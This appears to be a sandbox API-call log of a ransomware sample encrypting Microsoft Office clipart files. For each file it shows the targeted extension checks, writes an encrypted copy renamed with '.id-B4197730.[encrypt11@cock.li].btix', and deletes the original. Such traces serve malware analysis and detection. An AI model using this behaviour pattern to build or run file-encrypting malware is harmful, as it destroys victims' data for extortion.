lstrlenW (lpString=".ppt") returned 4 [0154.547] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0154.547] lstrlenW (lpString=".zip") returned 4 [0154.547] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.547] lstrlenW (lpString=".rar") returned 4 [0154.547] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.547] lstrlenW (lpString=".bz2") returned 4 [0154.547] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.547] lstrlenW (lpString=".7z") returned 3 [0154.547] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0154.547] lstrlenW (lpString=".dbf") returned 4 [0154.547] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0154.547] lstrlenW (lpString=".1cd") returned 4 [0154.547] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0154.547] lstrlenW (lpString=".jpg") returned 4 [0154.547] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.548] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.549] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.549] GetLastError () returned 0x0 [0154.549] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x8fd4, lpOverlapped=0x0) returned 1 [0154.551] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x8fe0, lpOverlapped=0x0) returned 1 [0154.552] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.553] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.553] SetEndOfFile (hFile=0x354) returned 1 [0154.553] CloseHandle (hObject=0x354) returned 1 [0154.553] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.553] SetEndOfFile (hFile=0x378) returned 1 [0154.554] CloseHandle (hObject=0x378) returned 1 [0154.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0154.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0154.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0154.555] lstrlenW (lpString=".doc") returned 4 [0154.555] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.555] lstrlenW (lpString=".docx") returned 5 [0154.555] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0154.555] lstrlenW (lpString=".pdf") returned 4 [0154.555] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.555] lstrlenW (lpString=".xls") returned 4 [0154.555] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.555] lstrlenW (lpString=".xlsx") returned 5 [0154.555] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0154.555] lstrlenW (lpString=".ppt") returned 4 [0154.555] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0154.555] lstrlenW (lpString=".zip") returned 4 [0154.555] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.555] lstrlenW (lpString=".rar") returned 4 [0154.555] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.555] lstrlenW (lpString=".bz2") returned 4 [0154.555] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.555] lstrlenW (lpString=".7z") returned 3 [0154.555] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0154.555] lstrlenW (lpString=".dbf") returned 4 [0154.555] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0154.555] lstrlenW (lpString=".1cd") returned 4 [0154.555] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0154.556] lstrlenW (lpString=".jpg") returned 4 [0154.556] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.556] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.556] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.557] GetLastError () returned 0x0 [0154.557] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x8fb8, lpOverlapped=0x0) returned 1 [0154.559] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x8fc0, lpOverlapped=0x0) returned 1 [0154.560] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.560] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.560] SetEndOfFile (hFile=0x354) returned 1 [0154.560] CloseHandle (hObject=0x354) returned 1 [0154.560] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.561] SetEndOfFile (hFile=0x378) returned 1 [0154.561] CloseHandle (hObject=0x378) returned 1 [0154.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0154.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0154.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0154.562] lstrlenW (lpString=".doc") returned 4 [0154.562] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.562] lstrlenW (lpString=".docx") returned 5 [0154.562] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0154.562] lstrlenW (lpString=".pdf") returned 4 [0154.562] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.562] lstrlenW (lpString=".xls") returned 4 [0154.562] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.562] lstrlenW (lpString=".xlsx") returned 5 [0154.562] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0154.562] lstrlenW (lpString=".ppt") returned 4 [0154.562] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0154.562] lstrlenW (lpString=".zip") returned 4 [0154.562] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.562] lstrlenW (lpString=".rar") returned 4 [0154.562] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.562] lstrlenW (lpString=".bz2") returned 4 [0154.562] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.563] lstrlenW (lpString=".7z") returned 3 [0154.563] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0154.563] lstrlenW (lpString=".dbf") returned 4 [0154.563] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0154.563] lstrlenW (lpString=".1cd") returned 4 [0154.563] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68 [0154.563] lstrlenW (lpString=".jpg") returned 4 [0154.563] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.563] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.564] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.564] GetLastError () returned 0x0 [0154.564] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x8a5b, lpOverlapped=0x0) returned 1 [0154.566] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x8a60, lpOverlapped=0x0) returned 1 [0154.567] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.567] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.567] SetEndOfFile (hFile=0x354) returned 1 [0154.568] CloseHandle (hObject=0x354) returned 1 [0154.568] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.568] SetEndOfFile (hFile=0x378) returned 1 [0154.570] CloseHandle (hObject=0x378) returned 1 [0154.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0154.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0154.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0154.571] lstrlenW (lpString=".doc") returned 4 [0154.571] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.571] lstrlenW (lpString=".docx") returned 5 [0154.571] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0154.571] lstrlenW (lpString=".pdf") returned 4 [0154.571] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.571] lstrlenW (lpString=".xls") returned 4 [0154.571] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.571] lstrlenW (lpString=".xlsx") returned 5 [0154.571] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0154.571] lstrlenW (lpString=".ppt") returned 4 [0154.571] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0154.571] lstrlenW (lpString=".zip") returned 4 [0154.571] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.571] lstrlenW (lpString=".rar") returned 4 [0154.571] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.571] lstrlenW (lpString=".bz2") returned 4 [0154.571] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.571] lstrlenW (lpString=".7z") returned 3 [0154.571] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0154.571] lstrlenW (lpString=".dbf") returned 4 [0154.571] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0154.571] lstrlenW (lpString=".1cd") returned 4 [0154.572] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0154.572] lstrlenW (lpString=".jpg") returned 4 [0154.572] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.572] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.572] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.575] GetLastError () returned 0x0 [0154.575] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x84a6, lpOverlapped=0x0) returned 1 [0154.842] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x84b0, lpOverlapped=0x0) returned 1 [0154.843] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.843] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.843] SetEndOfFile (hFile=0x354) returned 1 [0154.843] CloseHandle (hObject=0x354) returned 1 [0154.843] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.843] SetEndOfFile (hFile=0x378) returned 1 [0154.844] CloseHandle (hObject=0x378) returned 1 [0154.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0154.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0154.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0154.845] lstrlenW (lpString=".doc") returned 4 [0154.845] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.845] lstrlenW (lpString=".docx") returned 5 [0154.845] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0154.845] lstrlenW (lpString=".pdf") returned 4 [0154.845] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.845] lstrlenW (lpString=".xls") returned 4 [0154.845] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.846] lstrlenW (lpString=".xlsx") returned 5 [0154.846] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0154.846] lstrlenW (lpString=".ppt") returned 4 [0154.846] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0154.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0154.846] lstrlenW (lpString=".zip") returned 4 [0154.846] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0154.846] lstrlenW (lpString=".rar") returned 4 [0154.846] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0154.846] lstrlenW (lpString=".bz2") returned 4 [0154.846] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0154.846] lstrlenW (lpString=".7z") returned 3 [0154.846] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0154.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0154.846] lstrlenW (lpString=".dbf") returned 4 [0154.846] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0154.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0154.846] lstrlenW (lpString=".1cd") returned 4 [0154.846] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0154.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0154.846] lstrlenW (lpString=".jpg") returned 4 [0154.846] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0154.846] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.846] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.847] GetLastError () returned 0x0 [0154.847] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x610c, lpOverlapped=0x0) returned 1 [0154.856] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x6110, lpOverlapped=0x0) returned 1 [0154.857] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.857] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.857] SetEndOfFile (hFile=0x354) returned 1 [0154.857] CloseHandle (hObject=0x354) returned 1 [0154.857] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.857] SetEndOfFile (hFile=0x378) returned 1 [0154.858] CloseHandle (hObject=0x378) returned 1 [0154.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0154.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0154.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0154.859] lstrlenW (lpString=".doc") returned 4 [0154.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.859] lstrlenW (lpString=".docx") returned 5 [0154.859] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.859] lstrlenW (lpString=".pdf") returned 4 [0154.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.859] lstrlenW (lpString=".xls") returned 4 [0154.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.859] lstrlenW (lpString=".xlsx") returned 5 [0154.859] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.859] lstrlenW (lpString=".ppt") returned 4 [0154.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0154.859] lstrlenW (lpString=".zip") returned 4 [0154.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.859] lstrlenW (lpString=".rar") returned 4 [0154.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.859] lstrlenW (lpString=".bz2") returned 4 [0154.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.859] lstrlenW (lpString=".7z") returned 3 [0154.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0154.859] lstrlenW (lpString=".dbf") returned 4 [0154.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0154.860] lstrlenW (lpString=".1cd") returned 4 [0154.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0154.860] lstrlenW (lpString=".jpg") returned 4 [0154.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.860] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.860] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0154.860] GetLastError () returned 0x0 [0154.860] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, 